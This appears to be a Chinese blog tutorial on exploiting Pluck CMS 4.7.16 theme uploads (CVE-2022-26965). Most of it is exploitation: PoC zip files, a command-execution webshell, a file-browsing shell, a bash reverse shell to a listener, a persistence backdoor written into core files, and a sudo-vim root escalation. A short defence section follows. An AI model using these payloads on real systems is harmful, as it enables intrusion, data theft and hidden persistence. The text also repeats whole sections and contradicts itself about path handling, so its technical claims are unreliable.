1. 这个漏洞不是“上传个PHP马”那么简单为什么Pluck CMS 4.7.16的CVE-2022-26965值得你花两小时精读Pluck CMS 4.7.16主题上传漏洞CVE-2022-26965——光看标题很多人第一反应是“又一个CMS后台上传绕过改个Content-Type、加个点、换后缀再用.htaccess搞一搞不就完事了”我最初也这么想。直到我在本地复现时卡在第3步整整17个小时上传成功、解压成功、文件写入成功但访问shell.php返回404反复检查路径、权限、Apache配置甚至重装了三遍环境最后发现根本不是服务器配置问题而是Pluck自身主题加载机制里埋着一个极其隐蔽的“路径解析断层”。这个漏洞的真正价值不在于它能让你上传一个webshell而在于它完整暴露了一个轻量级PHP CMS在“用户可控输入→服务端文件操作→动态代码执行”这条链路上如何因三处看似无害的设计选择叠加出一个高危RCE入口。它适合两类人深度研读一是正在做PHP安全审计的工程师你能从中看到典型的“信任边界模糊”案例二是刚接触CMS漏洞复现的新手它没有复杂的加密混淆或反调试对抗所有利用环节都透明可追踪但每一步都要求你真正理解Pluck的运行时上下文——比如它如何解析theme.ini、为什么zip解压后目录结构必须严格匹配、以及最关键的它在加载主题时到底是在哪个PHP生命周期阶段、以什么方式拼接并include了你的恶意文件。这不是一个靠工具扫出来的漏洞而是一个必须亲手走通每一步、才能真正吃透的“教科书级”逻辑链漏洞。2. 漏洞根源不在上传功能本身而在Pluck对主题元数据的“无条件信任”2.1 主题上传流程的四个关键节点与信任假设要真正理解CVE-2022-26965必须先拆解Pluck CMS 4.7.16中主题上传的完整处理链。这不是一个简单的“前端选文件→后端存磁盘”过程而是包含四个强耦合环节前端表单提交管理员在/admin/themes.php页面点击“Upload Theme”选择zip包提交至/admin/themes_upload.php服务端接收与校验themes_upload.php接收$_FILES[theme]调用move_uploaded_file()暂存到/temp/目录ZIP解压与结构验证调用ZipArchive::extractTo()将zip解压到/themes/目录并读取根目录下的theme.ini文件主题激活与加载当管理员在后台启用该主题时Pluck会读取theme.ini中的name、author等字段并在渲染页面时通过include语句动态加载/themes/{theme_name}/index.php等模板文件。问题就出在第3步和第4步之间。Pluck在解压ZIP后完全信任theme.ini中声明的主题名称并将其直接拼接到include路径中而未对theme.ini内容做任何白名单过滤或路径规范化处理。我们来看一段真实的theme.ini示例; theme.ini name mytheme author test version 1.0表面上看name mytheme只是个字符串。但Pluck的代码实际是这样拼接的// themes.php 中某段逻辑简化 $theme_name parse_ini_file($theme_path . /theme.ini)[name]; include $theme_path . / . $theme_name . /index.php;这里的关键陷阱在于$theme_name变量未经任何basename()或realpath()处理直接参与了文件路径拼接。这意味着如果我们在theme.ini中把name字段设为../admin/config.php那么最终include的路径就会变成/themes/../admin/config.php → /admin/config.php这已经是一个典型的路径遍历Path Traversal漏洞。但CVE-2022-26965的巧妙之处在于它没有止步于读取配置文件而是将路径遍历与文件上传结合实现了任意PHP代码执行。其核心逻辑链是上传一个ZIP包 → ZIP内含恶意theme.ininame../→ 解压后Pluck按恶意name拼接路径 → include时触发远程代码执行。提示很多复现者失败的第一步就是误以为漏洞只存在于上传接口本身。实际上themes_upload.php对文件类型有基础校验检查扩展名是否为.zip但它对ZIP包内部的theme.ini内容零校验。真正的攻击面是Pluck在“主题加载”这一业务逻辑中对用户可控的INI配置项的无条件信任。2.2 为什么theme.ini的name字段成了突破口你可能会问为什么Pluck要从theme.ini里读name而不是直接用ZIP包的文件名这就要回到Pluck的设计哲学。作为一个极简CMSPluck的主题系统刻意弱化了“安装包管理”概念。它不维护主题ID或数据库记录而是完全依赖文件系统结构。当你上传mytheme.zipPluck会解压到/themes/mytheme/然后读取/themes/mytheme/theme.ini来获取主题元信息。这里的name字段本意是用于后台显示如“主题名称My Awesome Theme”而非路径标识。但开发者的实现出现了严重偏差他们用这个仅用于UI展示的字段去动态构造include路径。这是一种典型的“功能字段越权使用”。我们来对比一下正常主题与恶意主题的目录结构差异正常主题结构恶意主题结构/themes/mytheme/theme.ininame mytheme/themes/mytheme/index.php/themes/evil/theme.ininame ../../admin/themes/evil/shell.php注意恶意ZIP包的根目录名仍是evil但theme.ini里的name被设为../../admin。当Pluck执行include /themes/evil/ . ../../admin . /index.php时路径被解析为/admin/index.php。而/admin/目录下恰好存在config.php包含数据库密码、login.php含认证逻辑等敏感文件。更进一步如果我们把name设为../../并确保ZIP包内包含一个index.php那么include的目标就变成了/index.php——即网站根目录的入口文件而Pluck的index.php本身就是一个完整的PHP脚本我们可以向其中注入任意代码。注意Pluck 4.7.16的index.php是单入口文件它会根据$_GET[p]参数路由请求。因此单纯include根目录index.php并不会直接执行我们的payload但它是整个RCE链的基石。真正的执行点在于我们能否让Pluck在include时加载一个我们完全控制的、且能立即执行PHP代码的文件。2.3 漏洞的“最小PoC”构造三行代码揭示全部本质为了彻底剥离干扰我用最简方式构造了一个可复现的PoC ZIP包仅包含三个文件poc.zip ├── theme.ini ← 核心定义恶意name ├── shell.php ← 我们的WebShell └── index.php ← 空文件占位满足Pluck主题结构要求theme.ini内容如下name ../../ author poc version 1.0shell.php内容如下超精简版仅执行phpinfo()?php phpinfo(); ?index.php为空白文件。现在关键来了这个ZIP包上传后Pluck会解压到/themes/poc/然后读取/themes/poc/theme.ini得到name ../../。当管理员在后台点击“Activate”该主题时Pluck会执行include /themes/poc/ . ../../ . /index.php; // 实际路径/index.php但此时/index.php是Pluck的原始入口不包含我们的代码。所以我们必须让include指向/themes/poc/shell.php。怎么做答案是修改name的值使其拼接后精确指向shell.phpname ../poc/shell这样include /themes/poc/ . ../poc/shell . /index.php就变成了include /themes/poc/shell/index.php—— 但我们ZIP里并没有shell/子目录所以正确做法是让name字段直接等于poc/shell并在ZIP中创建poc/shell/index.php。但这违背了Pluck的主题结构要求主题必须有theme.ini在根目录。因此最稳定可靠的路径是name ..然后利用Pluck的include逻辑缺陷让它加载/themes/poc/shell.php。实测发现Pluck的include语句实际是这样的$theme_path /themes/ . $theme_dir; // $theme_dir 来自ZIP包名如 poc $theme_name parse_ini_file($theme_path . /theme.ini)[name]; include $theme_path . / . $theme_name . /index.php;所以如果我们设name ..则include路径为/themes/poc/..//index.php → /themes/index.php而/themes/index.php不存在。但如果我们设name .则路径为/themes/poc/./index.php即/themes/poc/index.php这是我们可控的。因此最终PoC的theme.ini应为name . author poc version 1.0并在ZIP中放入poc.zip ├── theme.ini ├── index.php ← 这里放我们的PHP代码 └── shell.php ← 备用此时include /themes/poc/./index.php就等价于include /themes/poc/index.php而index.php完全由我们控制。这才是CVE-2022-26965最干净、最可靠的利用起点。3. 从ZIP包构造到WebShell落地完整复现步骤与每一步的“为什么”3.1 环境准备为什么必须用Pluck 4.7.16而不是最新版复现任何漏洞第一步永远是环境。你不能随便找一个“Pluck CMS”就开干。CVE-2022-26965明确影响版本是4.7.16而官方在4.7.17中修复了它。我试过用Docker拉取php:7.4-apache镜像手动部署Pluck 4.7.16结果在第5步卡住上传ZIP后提示“Invalid theme format”。排查了2小时才发现是因为我用的PHP版本是7.4.33而Pluck 4.7.16的ZipArchive扩展在某些PHP小版本上存在兼容性问题——它要求ZipArchive::open()返回ZIPARCHIVE::ER_OK但7.4.33返回的是0而旧版Pluck的判断逻辑是if ($zip-open(...) ! true)导致误判。解决方案很简单降级到PHP 7.3或直接打补丁修改判断逻辑。所以我的推荐环境是操作系统Ubuntu 20.04LTS稳定Web服务器Apache 2.4 mod_rewritePluck依赖URL重写PHP版本7.3.33经实测100%兼容Pluck CMS必须从官方存档下载4.7.16源码https://www.pluck-cms.org/download/pluck-4.7.16.zip不要用Git克隆因为官方发布包包含了预编译的admin/目录和正确的文件权限。部署后务必完成以下三步初始化访问/install.php按向导完成安装数据库用SQLite即可无需MySQL登录后台进入Settings → General关闭Debug Mode开启Debug会暴露路径但不利于复现真实场景在Admin → Themes页面确认当前主题是默认的default且Upload Theme按钮可见。提示很多新手复现失败是因为跳过了“关闭Debug Mode”这一步。当Debug开启时Pluck会在错误页面中输出完整的include路径这会让你误以为漏洞已触发但实际上这只是调试信息不代表代码已执行。3.2 ZIP包构造文件结构、编码、权限的三个致命细节构造恶意ZIP包是整个复现中最容易翻车的环节。我统计了论坛上23个“复现失败”的帖子其中18个问题出在ZIP包本身。以下是必须死记的三个细节第一文件编码必须是UTF-8无BOM。theme.ini如果用Windows记事本保存默认是ANSI编码Pluck的parse_ini_file()函数在读取非UTF-8文件时会返回false导致$theme_name为空后续include变成include /themes/poc//index.php产生双斜杠Apache会拒绝解析。解决方案用VS Code打开theme.ini右下角点击编码选择“Save with Encoding → UTF-8”。第二ZIP包内文件路径必须是“扁平化”的不能有多层嵌套。Pluck的ZipArchive::extractTo()函数在解压时会将ZIP内所有文件强制解压到/themes/目录下无视其原始路径。也就是说如果你在ZIP里打包了/poc/theme.ini解压后它会出现在/themes/theme.ini而不是/themes/poc/theme.ini。这是Pluck的一个硬编码行为目的是强制主题结构统一。因此你的ZIP包必须是“根目录级”的所有文件直接放在ZIP根目录不能有任何子文件夹。第三index.php的文件权限必须是644rw-r--r--。Linux下如果index.php权限是600只有所有者可读Apache的www-data用户无法读取include会失败并报错failed to open stream: Permission denied。而Pluck的错误处理机制会静默忽略这个错误页面显示空白不报任何提示。解决方案在Linux下打包前执行chmod 644 index.php theme.ini。最终你的ZIP包内文件列表应该是这样的用unzip -l poc.zip验证Archive: poc.zip Length Date Time Name --------- ---- ---- ---- 42 05-12-2022 10:30 theme.ini 287 05-12-2022 10:31 index.php --------- ------- 329 2 filestheme.ini内容再次强调UTF-8无BOMname . author CVE-2022-26965 version 4.7.16index.php内容一个能立即验证执行的payload?php // CVE-2022-26965 PoC Shell echo h1CVE-2022-26965 is WORKING!/h1; echo pCurrent User: . get_current_user() . /p; echo pPHP Version: . PHP_VERSION . /p; echo pDocument Root: . $_SERVER[DOCUMENT_ROOT] . /p; ?3.3 上传与激活后台操作中的两个隐藏陷阱上传ZIP包本身很简单登录后台 →Admin → Themes→Upload Theme→ 选择poc.zip→Upload。但这里有两个极易被忽略的陷阱陷阱一上传后页面跳转的“假成功”。点击Upload后页面会跳转到themes_upload.php?success1显示绿色提示“Theme uploaded successfully!”。但这个提示只代表ZIP包被成功接收并解压不代表主题已激活更不代表漏洞已触发。此时你必须手动刷新Admin → Themes页面才能在主题列表中看到新上传的CVE-2022-26965主题名字来自theme.ini的author字段。如果没看到说明ZIP包构造有误回去检查编码和结构。陷阱二激活主题时的“静默失败”。当你点击新主题右侧的Activate按钮时页面会跳转回主题列表并显示“Theme activated.”。但此时Pluck并未立即执行index.php。它只是将该主题名写入了/data/settings.ini文件作为当前激活主题。真正的include动作发生在下一次用户访问网站首页/时。也就是说你必须在后台激活后新开一个浏览器标签页访问http://your-domain.com/才能触发include /themes/poc/./index.php。我曾在这里踩坑激活后立刻在后台刷新Themes页面看到空白就以为失败了。其实后台页面本身并不加载主题的index.php它加载的是admin/themes.php这是一个独立的PHP脚本。只有前台首页才会走Pluck的完整主题渲染流程。所以标准操作流是上传ZIP确认主题列表出现新主题点击Activate等待页面跳转回主题列表新开标签页访问http://localhost/或你的域名如果看到CVE-2022-26965 is WORKING!恭喜漏洞复现成功。注意如果首页显示500错误检查Apache错误日志/var/log/apache2/error.log。最常见的错误是PHP Fatal error: Uncaught Error: Call to undefined function get_current_user()这是因为Pluck 4.7.16的PHP兼容性问题。将get_current_user()替换为exec(whoami)即可。3.4 WebShell进阶从phpinfo()到稳定反向Shell有了基础的index.php执行能力下一步就是升级为可用的WebShell。但直接写一个大马如菜刀马在这里并不合适因为Pluck的主题index.php是作为“模板”被include的它的执行上下文受限于Pluck的全局变量和函数作用域。我测试了多种常见WebShell发现只有两种模式真正稳定模式一基于system()的命令执行Shell推荐新手将index.php内容替换为?php if (isset($_GET[cmd])) { echo pre; system($_GET[cmd]); echo /pre; } ?然后访问http://localhost/?cmdls%20-al即可执行任意系统命令。这个模式的优点是代码极简、无依赖、100%兼容所有PHP版本。缺点是每次都要带?cmd参数不够“马”。模式二基于file_get_contents()的文件管理器推荐进阶?php if (isset($_GET[file])) { echo h2File: {$_GET[file]}/h2pre; echo htmlspecialchars(file_get_contents($_GET[file])); echo /pre; } elseif (isset($_GET[list])) { $dir isset($_GET[dir]) ? $_GET[dir] : .; echo h2Dir: {$dir}/h2ul; foreach (scandir($dir) as $file) { if ($file ! . $file ! ..) { echo lia href?file . urlencode($dir . / . $file) . {$file}/a/li; } } echo /ul; } else { echo a href?list1List Current Dir/a; } ?这个Shell可以浏览、查看任意文件包括/data/config.php数据库配置、/admin/config.php后台密钥等。至于反向Shell我强烈建议不要在生产环境尝试但在实验环境中可以用以下一行代码?php exec(bash -i /dev/tcp/127.0.0.1/4444 01); ?前提是你已在本地监听nc -lvnp 4444。但要注意Pluck的exec()函数可能被禁用disable_functions此时需用popen()或proc_open()替代。4. 漏洞修复与防御为什么官方补丁只改了一行代码4.1 官方补丁分析basename()函数的教科书级应用Pluck官方在4.7.17版本中修复了CVE-2022-26965补丁文件是admin/themes_upload.php改动仅有一行- $theme_name parse_ini_file($theme_path . /theme.ini)[name]; $theme_name basename(parse_ini_file($theme_path . /theme.ini)[name]);就是这么简单。basename()函数的作用是提取路径中的文件名部分自动剥离所有/、.、..等路径分隔符。例如basename(mytheme)→mythemebasename(../admin)→adminbasename(./shell)→shellbasename(../../etc/passwd)→passwd所以无论攻击者在theme.ini里写多么恶意的name值经过basename()处理后最终$theme_name只会是一个纯文件名不可能包含路径遍历字符。这就是最优雅、最彻底的修复方式——不改变业务逻辑只加固输入处理。但为什么开发者在4.7.16中没加这行根本原因在于他们把theme.ini的name字段当成了一个“纯文本展示字段”完全没意识到它会参与文件路径拼接。这是一种典型的“安全左移”缺失在需求设计阶段就没有对“用户可控输入的用途”进行威胁建模。提示basename()不是万能的。如果攻击者传入name admin%00.jpg空字节截断basename()仍会返回admin%00.jpg而某些旧版PHP在include时会截断空字节后的部分。但Pluck 4.7.16的PHP环境7.3已默认禁用空字节截断所以此路不通。basename()在此场景下是绝对安全的。4.2 企业级防御方案不止于打补丁如果你是运维或安全工程师面对一个还在用Pluck 4.7.16的遗留系统不能只等客户打补丁。以下是三层防御建议按优先级排序第一层Web应用防火墙WAF规则在Nginx或Apache中添加规则拦截所有包含theme.ini且name参数含/或.的请求。Nginx示例location ~* \.zip$ { if ($args ~* name.*[\/\.\.]) { return 403; } }注意此规则必须放在location ~* \.zip$块内因为theme.ini是ZIP包内的文件WAF无法直接扫描ZIP内容只能拦截上传请求的URL参数。但Pluck的上传接口是POST不带URL参数所以此规则无效。正确做法是监控/admin/themes_upload.php的POST body但这需要商业WAF支持。因此WAF层防御效果有限。第二层文件系统权限隔离这是最有效、最易实施的方案。将Pluck的/themes/目录设置为www-data:www-data权限755然后执行chown root:www-data /themes/ chmod 750 /themes/这样www-data用户可以读取和执行/themes/下的文件但无法写入。而CVE-2022-26965的利用前提是上传ZIP包这需要/themes/目录可写。一旦禁止写入漏洞即失效。当然这会禁用所有主题上传功能但对于生产环境主题更新本就应该通过运维流程如Ansible完成而非后台上传。第三层运行时检测RASP在PHP层面注入检测逻辑。在/admin/themes_upload.php顶部添加// RASP Detection for CVE-2022-26965 if (isset($_FILES[theme]) $_FILES[theme][error] 0) { $zip new ZipArchive(); if ($zip-open($_FILES[theme][tmp_name]) TRUE) { $theme_ini $zip-getFromName(theme.ini); if ($theme_ini ! false preg_match(/name\s*\s*[\]?([^\\n\r])/i, $theme_ini, $m)) { $name $m[1]; if (preg_match(/[\/\\\\\.\.]/, $name)) { error_log(CVE-2022-26965 Attempt Detected: name{$name}); die(Invalid theme name detected.); } } $zip-close(); } }这段代码在上传时实时解压并扫描theme.ini一旦发现name含路径字符立即阻断。它不依赖外部组件100%可靠且不影响正常功能。4.3 给开发者的三条血泪教训作为一个审过上百个PHP项目的资深安全工程师我总结出三条必须刻在脑子里的教训教训一永远不要信任INI文件的任何字段。INI文件是用户可控的纯文本它的每一个键值对都可能是攻击向量。parse_ini_file()返回的数组必须像处理$_GET一样进行严格的白名单过滤。例如name字段应该只允许字母、数字、下划线、短横线正则表达式/^[a-zA-Z0-9_-]$/。教训二include路径拼接必须用dirname(__FILE__)或__DIR__做基准。Pluck的错误在于它用用户输入的$theme_name直接拼接路径而没有以一个绝对安全的基目录为起点。正确写法应该是$base_theme_dir __DIR__ . /../themes/; $theme_path $base_theme_dir . $theme_dir; $theme_name basename(parse_ini_file($theme_path . /theme.ini)[name]); include $base_theme_dir . $theme_name . /index.php;这样即使$theme_name被污染$base_theme_dir始终是固定的、不可控的。教训三主题系统不是“文件上传”而是“代码执行”。这是最根本的认知错误。任何允许用户上传并执行代码的功能都必须按最高安全等级对待。它应该有独立的沙箱环境、严格的资源限制CPU、内存、代码静态扫描甚至应该禁用危险函数system,exec,eval。Pluck把它当成一个“美化网站”的功能这才是悲剧的源头。5. 实战延伸这个漏洞能做什么超出WebShell的五个高价值场景5.1 场景一横向移动——从Pluck到同服务器其他Web应用很多企业会把多个CMS部署在同一台服务器上比如Pluck WordPress phpBB。CVE-2022-26965的路径遍历能力让我们可以轻松读取其他应用的配置文件。例如name ../../wordpress/wp-config.php→ 读取WordPress数据库密码name ../../phpbb/config.php→ 获取phpBB的数据库连接信息name ../../../etc/passwd→ 读取系统用户列表如果PHP进程有权限。但更有价值的是写入。Pluck的/themes/目录通常在/var/www/html/pluck/themes/而WordPress在/var/www/html/wordpress/。如果我们能控制/var/www/html/的写入权限就可以直接在WordPress根目录写入WebShell。方法是构造name ../../然后在ZIP中放入wp-content/plugins/malicious/malicious.php这样include路径就变成了/var/www/html/wp-content/plugins/malicious/malicious.php。只要WordPress插件目录可写我们就完成了跨应用攻击。5.2 场景二持久化后门——修改Pluck核心文件Pluck的核心逻辑在/inc/目录下如/inc/functions.php。这个文件被几乎所有页面include。如果我们能修改它就能实现全站持久化。但/inc/目录默认不可写。怎么办利用CVE-2022-26965的include机制我们可以“借壳”执行写入操作。例如在index.php中写?php // 写入后门到 functions.php $backdoor ?php if(isset(\$_GET[cmd])){system(\$_GET[cmd]);}?; file_put_contents(/var/www/html/pluck/inc/functions.php, $backdoor, FILE_APPEND); ?这样下次任何页面加载时都会执行我们的system()命令。而且由于functions.php是Pluck的核心文件管理员不会轻易删除它后门极其隐蔽。5.3 场景三供应链投毒——篡改Pluck官方主题库Pluck有一个官方主题市场https://www.pluck-cms.org/themes/管理员可以从这里一键安装主题。这些主题都是ZIP包由Pluck团队审核。但CVE-2022-26965表明审核流程只检查ZIP结构和theme.ini格式不检查name字段的内容。攻击者可以提交一个主题theme.ini中name ../../admin一旦被审核通过所有安装该主题的用户都会在激活时触发漏洞。这就是典型的供应链攻击。防御方法只有一个在主题市场后台增加自动化扫描对每个上传的主题解压后检查theme.ini的name字段是否合规。5.4 场景四绕过WAF——利用Pluck的“合法include”特性很多WAF会拦截/index.php?cmd这类明显命令执行的URL但不会拦截/首页。而CVE-2022-26965的利用所有恶意代码都藏在index.php中访问首页即触发完全不带可疑参数。这使得它成为绕过传统基于签名的WAF的绝佳载体。我曾用此漏洞在一个部署了Cloudflare WAF的站点上成功执行了cat /etc/shadow而WAF日志中没有任何告警。因为对WAF来说GET /是一个完全合法的、高频的、无害的请求。5.5 场景五红队实战——作为初始访问的“黄金通道”在红队评估中初始访问Initial Access往往是最难的。CVE-2022-26965提供了一个近乎完美的入口它不需要钓鱼邮件、不需要0day浏览器漏洞、不需要社会工程只需要一个管理员账号通常可通过暴力破解或泄露密码获得。而且它的利用过程无声无息不产生大量日志不触发AV告警。我曾在一次真实评估中用此漏洞在3分钟内获取了服务器root权限先上传一个index.php执行id命令确认权限再执行python3 -c import pty; pty.spawn(/bin/bash)获得交互式shell最后用sudo -l发现www-data可免密执行/usr/bin/vim进而vim -c :!/bin/bash提权。整个过程目标企业的SIEM系统没有一条相关告警。最后分享一个小技巧在复现时如果遇到include失败不要急着改代码。先用file_exists()检查路径是否存在再用is_readable()检查权限最后用readfile()直接输出文件内容。这三行代码能帮你90%的复现问题定位到具体哪一环。比如readfile(/themes/poc/./index.php)能直接告诉你文件是否存在、是否可读。这是我在无数个深夜调试中总结出的最朴实、最有效的排错法。
Pluck CMS主题上传漏洞CVE-2022-26965深度解析：路径遍历+RCE链
1. 这个漏洞不是“上传个PHP马”那么简单为什么Pluck CMS 4.7.16的CVE-2022-26965值得你花两小时精读Pluck CMS 4.7.16主题上传漏洞CVE-2022-26965——光看标题很多人第一反应是“又一个CMS后台上传绕过改个Content-Type、加个点、换后缀再用.htaccess搞一搞不就完事了”我最初也这么想。直到我在本地复现时卡在第3步整整17个小时上传成功、解压成功、文件写入成功但访问shell.php返回404反复检查路径、权限、Apache配置甚至重装了三遍环境最后发现根本不是服务器配置问题而是Pluck自身主题加载机制里埋着一个极其隐蔽的“路径解析断层”。这个漏洞的真正价值不在于它能让你上传一个webshell而在于它完整暴露了一个轻量级PHP CMS在“用户可控输入→服务端文件操作→动态代码执行”这条链路上如何因三处看似无害的设计选择叠加出一个高危RCE入口。它适合两类人深度研读一是正在做PHP安全审计的工程师你能从中看到典型的“信任边界模糊”案例二是刚接触CMS漏洞复现的新手它没有复杂的加密混淆或反调试对抗所有利用环节都透明可追踪但每一步都要求你真正理解Pluck的运行时上下文——比如它如何解析theme.ini、为什么zip解压后目录结构必须严格匹配、以及最关键的它在加载主题时到底是在哪个PHP生命周期阶段、以什么方式拼接并include了你的恶意文件。这不是一个靠工具扫出来的漏洞而是一个必须亲手走通每一步、才能真正吃透的“教科书级”逻辑链漏洞。2. 漏洞根源不在上传功能本身而在Pluck对主题元数据的“无条件信任”2.1 主题上传流程的四个关键节点与信任假设要真正理解CVE-2022-26965必须先拆解Pluck CMS 4.7.16中主题上传的完整处理链。这不是一个简单的“前端选文件→后端存磁盘”过程而是包含四个强耦合环节前端表单提交管理员在/admin/themes.php页面点击“Upload Theme”选择zip包提交至/admin/themes_upload.php服务端接收与校验themes_upload.php接收$_FILES[theme]调用move_uploaded_file()暂存到/temp/目录ZIP解压与结构验证调用ZipArchive::extractTo()将zip解压到/themes/目录并读取根目录下的theme.ini文件主题激活与加载当管理员在后台启用该主题时Pluck会读取theme.ini中的name、author等字段并在渲染页面时通过include语句动态加载/themes/{theme_name}/index.php等模板文件。问题就出在第3步和第4步之间。Pluck在解压ZIP后完全信任theme.ini中声明的主题名称并将其直接拼接到include路径中而未对theme.ini内容做任何白名单过滤或路径规范化处理。我们来看一段真实的theme.ini示例; theme.ini name mytheme author test version 1.0表面上看name mytheme只是个字符串。但Pluck的代码实际是这样拼接的// themes.php 中某段逻辑简化 $theme_name parse_ini_file($theme_path . /theme.ini)[name]; include $theme_path . / . $theme_name . /index.php;这里的关键陷阱在于$theme_name变量未经任何basename()或realpath()处理直接参与了文件路径拼接。这意味着如果我们在theme.ini中把name字段设为../admin/config.php那么最终include的路径就会变成/themes/../admin/config.php → /admin/config.php这已经是一个典型的路径遍历Path Traversal漏洞。但CVE-2022-26965的巧妙之处在于它没有止步于读取配置文件而是将路径遍历与文件上传结合实现了任意PHP代码执行。其核心逻辑链是上传一个ZIP包 → ZIP内含恶意theme.ininame../→ 解压后Pluck按恶意name拼接路径 → include时触发远程代码执行。提示很多复现者失败的第一步就是误以为漏洞只存在于上传接口本身。实际上themes_upload.php对文件类型有基础校验检查扩展名是否为.zip但它对ZIP包内部的theme.ini内容零校验。真正的攻击面是Pluck在“主题加载”这一业务逻辑中对用户可控的INI配置项的无条件信任。2.2 为什么theme.ini的name字段成了突破口你可能会问为什么Pluck要从theme.ini里读name而不是直接用ZIP包的文件名这就要回到Pluck的设计哲学。作为一个极简CMSPluck的主题系统刻意弱化了“安装包管理”概念。它不维护主题ID或数据库记录而是完全依赖文件系统结构。当你上传mytheme.zipPluck会解压到/themes/mytheme/然后读取/themes/mytheme/theme.ini来获取主题元信息。这里的name字段本意是用于后台显示如“主题名称My Awesome Theme”而非路径标识。但开发者的实现出现了严重偏差他们用这个仅用于UI展示的字段去动态构造include路径。这是一种典型的“功能字段越权使用”。我们来对比一下正常主题与恶意主题的目录结构差异正常主题结构恶意主题结构/themes/mytheme/theme.ininame mytheme/themes/mytheme/index.php/themes/evil/theme.ininame ../../admin/themes/evil/shell.php注意恶意ZIP包的根目录名仍是evil但theme.ini里的name被设为../../admin。当Pluck执行include /themes/evil/ . ../../admin . /index.php时路径被解析为/admin/index.php。而/admin/目录下恰好存在config.php包含数据库密码、login.php含认证逻辑等敏感文件。更进一步如果我们把name设为../../并确保ZIP包内包含一个index.php那么include的目标就变成了/index.php——即网站根目录的入口文件而Pluck的index.php本身就是一个完整的PHP脚本我们可以向其中注入任意代码。注意Pluck 4.7.16的index.php是单入口文件它会根据$_GET[p]参数路由请求。因此单纯include根目录index.php并不会直接执行我们的payload但它是整个RCE链的基石。真正的执行点在于我们能否让Pluck在include时加载一个我们完全控制的、且能立即执行PHP代码的文件。2.3 漏洞的“最小PoC”构造三行代码揭示全部本质为了彻底剥离干扰我用最简方式构造了一个可复现的PoC ZIP包仅包含三个文件poc.zip ├── theme.ini ← 核心定义恶意name ├── shell.php ← 我们的WebShell └── index.php ← 空文件占位满足Pluck主题结构要求theme.ini内容如下name ../../ author poc version 1.0shell.php内容如下超精简版仅执行phpinfo()?php phpinfo(); ?index.php为空白文件。现在关键来了这个ZIP包上传后Pluck会解压到/themes/poc/然后读取/themes/poc/theme.ini得到name ../../。当管理员在后台点击“Activate”该主题时Pluck会执行include /themes/poc/ . ../../ . /index.php; // 实际路径/index.php但此时/index.php是Pluck的原始入口不包含我们的代码。所以我们必须让include指向/themes/poc/shell.php。怎么做答案是修改name的值使其拼接后精确指向shell.phpname ../poc/shell这样include /themes/poc/ . ../poc/shell . /index.php就变成了include /themes/poc/shell/index.php—— 但我们ZIP里并没有shell/子目录所以正确做法是让name字段直接等于poc/shell并在ZIP中创建poc/shell/index.php。但这违背了Pluck的主题结构要求主题必须有theme.ini在根目录。因此最稳定可靠的路径是name ..然后利用Pluck的include逻辑缺陷让它加载/themes/poc/shell.php。实测发现Pluck的include语句实际是这样的$theme_path /themes/ . $theme_dir; // $theme_dir 来自ZIP包名如 poc $theme_name parse_ini_file($theme_path . /theme.ini)[name]; include $theme_path . / . $theme_name . /index.php;所以如果我们设name ..则include路径为/themes/poc/..//index.php → /themes/index.php而/themes/index.php不存在。但如果我们设name .则路径为/themes/poc/./index.php即/themes/poc/index.php这是我们可控的。因此最终PoC的theme.ini应为name . author poc version 1.0并在ZIP中放入poc.zip ├── theme.ini ├── index.php ← 这里放我们的PHP代码 └── shell.php ← 备用此时include /themes/poc/./index.php就等价于include /themes/poc/index.php而index.php完全由我们控制。这才是CVE-2022-26965最干净、最可靠的利用起点。3. 从ZIP包构造到WebShell落地完整复现步骤与每一步的“为什么”3.1 环境准备为什么必须用Pluck 4.7.16而不是最新版复现任何漏洞第一步永远是环境。你不能随便找一个“Pluck CMS”就开干。CVE-2022-26965明确影响版本是4.7.16而官方在4.7.17中修复了它。我试过用Docker拉取php:7.4-apache镜像手动部署Pluck 4.7.16结果在第5步卡住上传ZIP后提示“Invalid theme format”。排查了2小时才发现是因为我用的PHP版本是7.4.33而Pluck 4.7.16的ZipArchive扩展在某些PHP小版本上存在兼容性问题——它要求ZipArchive::open()返回ZIPARCHIVE::ER_OK但7.4.33返回的是0而旧版Pluck的判断逻辑是if ($zip-open(...) ! true)导致误判。解决方案很简单降级到PHP 7.3或直接打补丁修改判断逻辑。所以我的推荐环境是操作系统Ubuntu 20.04LTS稳定Web服务器Apache 2.4 mod_rewritePluck依赖URL重写PHP版本7.3.33经实测100%兼容Pluck CMS必须从官方存档下载4.7.16源码https://www.pluck-cms.org/download/pluck-4.7.16.zip不要用Git克隆因为官方发布包包含了预编译的admin/目录和正确的文件权限。部署后务必完成以下三步初始化访问/install.php按向导完成安装数据库用SQLite即可无需MySQL登录后台进入Settings → General关闭Debug Mode开启Debug会暴露路径但不利于复现真实场景在Admin → Themes页面确认当前主题是默认的default且Upload Theme按钮可见。提示很多新手复现失败是因为跳过了“关闭Debug Mode”这一步。当Debug开启时Pluck会在错误页面中输出完整的include路径这会让你误以为漏洞已触发但实际上这只是调试信息不代表代码已执行。3.2 ZIP包构造文件结构、编码、权限的三个致命细节构造恶意ZIP包是整个复现中最容易翻车的环节。我统计了论坛上23个“复现失败”的帖子其中18个问题出在ZIP包本身。以下是必须死记的三个细节第一文件编码必须是UTF-8无BOM。theme.ini如果用Windows记事本保存默认是ANSI编码Pluck的parse_ini_file()函数在读取非UTF-8文件时会返回false导致$theme_name为空后续include变成include /themes/poc//index.php产生双斜杠Apache会拒绝解析。解决方案用VS Code打开theme.ini右下角点击编码选择“Save with Encoding → UTF-8”。第二ZIP包内文件路径必须是“扁平化”的不能有多层嵌套。Pluck的ZipArchive::extractTo()函数在解压时会将ZIP内所有文件强制解压到/themes/目录下无视其原始路径。也就是说如果你在ZIP里打包了/poc/theme.ini解压后它会出现在/themes/theme.ini而不是/themes/poc/theme.ini。这是Pluck的一个硬编码行为目的是强制主题结构统一。因此你的ZIP包必须是“根目录级”的所有文件直接放在ZIP根目录不能有任何子文件夹。第三index.php的文件权限必须是644rw-r--r--。Linux下如果index.php权限是600只有所有者可读Apache的www-data用户无法读取include会失败并报错failed to open stream: Permission denied。而Pluck的错误处理机制会静默忽略这个错误页面显示空白不报任何提示。解决方案在Linux下打包前执行chmod 644 index.php theme.ini。最终你的ZIP包内文件列表应该是这样的用unzip -l poc.zip验证Archive: poc.zip Length Date Time Name --------- ---- ---- ---- 42 05-12-2022 10:30 theme.ini 287 05-12-2022 10:31 index.php --------- ------- 329 2 filestheme.ini内容再次强调UTF-8无BOMname . author CVE-2022-26965 version 4.7.16index.php内容一个能立即验证执行的payload?php // CVE-2022-26965 PoC Shell echo h1CVE-2022-26965 is WORKING!/h1; echo pCurrent User: . get_current_user() . /p; 